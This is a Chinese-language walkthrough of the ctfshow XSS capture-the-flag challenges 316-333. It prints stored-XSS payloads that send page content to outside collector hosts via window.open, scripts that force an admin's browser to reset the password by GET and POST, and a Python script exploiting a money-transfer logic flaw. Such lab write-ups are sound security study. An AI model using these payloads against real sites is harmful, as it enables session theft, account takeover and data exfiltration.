ctfshow-xss

316-326反射型

期间有过滤script、img、空格、iframe的,不一一赘述,以下payload通316-326。

存储型

327

因为要的是管理员cookie,收件人猜测填写admin,在邮件内容插入payload
ctfshow-xss_第1张图片

328

ctfshow-xss_第2张图片
管理员登录时,会看到所有用户的用户名和密码,只要注册一个带有xss代码的用户即可,当管理员访问该页面,就会执行
ctfshow-xss_第3张图片
在密码或者用户名插入payload都行,网站没有验证输入合法性。

获取到管理员cookie后,修改当前cookie为管理员的即可。
ctfshow-xss_第4张图片

329

和上题一模一样,可以得到cookie,但是据说这题的cookie很快就失效了,我试了下确实如此,无法登录管理员账户。
据上题的经验得知:flag值会出现在表格第一行的右侧,那直接拿flag就好了,不登录管理员账号了。

<script>window.open('http://公网ip/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

330

和上题一样,不过位置变了,textContent可以查询容器下所有文本

<script>window.open('http://64jtyb.ceye.io/'+document.querySelector('#top > div.layui-container').textContent)</script>

或者修改管理员密码,实现登录
注意这里的ip是127.0.0.1,抓包获取完整路径

<script>window.open('http://127.0.0.1/api/change.php?p=1234567')</script>

然后用admin/1234567登录
ctfshow-xss_第5张图片

331

和上题一样,但是密码修改变成了POST提交,问题就变成了怎么利用JavaScript向服务器发送post请求
ctfshow-xss_第6张图片
看了网上的一些文章,下面这种思路是我没想到的,主要也是js学的还很浅,在源码中找到js/select.js这段外部js文件,打开有如下代码:

layui.use('form', function(){
  var form = layui.form;
  form.on('submit(formChange)', function(data){
    var newpass = data.field['p'];
    $.ajax({
      url:'api/change.php',
      type:'post',
      data:{
        p:newpass
      },
      success:function(data){
        layer.msg(data);
      }
    });
    return false; 
  });
  return true;
});

根据源码依样画葫芦就好了

<script>
$.ajax({
      url:'api/change.php',
      type:'post',
      data:{
        p:'newpass'
      }
});
</script>

还有一种方式是利用XMLHttpRequest对象,和上面一样都是ajax。

<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://127.0.0.1/api/change.php', true);xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");xhr.send('p=1234567');</script>

使用admin/1234567登录即可

332

ctfshow-xss_第7张图片
想办法把余额搞到9999,就能买这个flag
正常注册用户,一块钱都转不出去,显示有内鬼,终止交易。然后用xss注册用户,比如,就可以转了,莫名其妙!没看出跟xss有什么关系。可能是因为不能暴露身份,用特殊标签就不会被内鬼发现。任何html标签这里都能用。
然后再结合逻辑漏洞,转账负数金额,这样就变成对方给自己转账了。

333

和上题一样,只不过金额好像取了绝对值,给别人转正的负的都扣自己钱,那给自己转不就好了。
最大转账数是自己的余额-1,

开了个BP爆破,如下:
ctfshow-xss_第8张图片
或者写个脚本,懒得写。搜集了以下,yu师傅的python脚本如下:

import requests
import re
import time
x=5
url="http://ctf.show/api/amount.php"
url2="http://ctf.show/api/getFlag.php"
headers={
	'Cookie':'自己的cookie'
}
while True:
	print(x)
	t=x-1
	data={
	'u':'456', #注册的用户名
	'a':str(t)
	}
	r=requests.post(url,headers=headers,data=data)
	print(r.text)
	if(x>10000):
		r2=requests.get(url2,headers=headers)
		print(r2.text)
		break
	x+=t

来都来了,点个赞吧

参考文章

  • ctfshow XSS漏洞web316-328_PUDN
  • ctfshow XSS——CSDN
  • CTFshow-WEB入门-XSS——CSDN

你可能感兴趣的:(CTF,xss,javascript)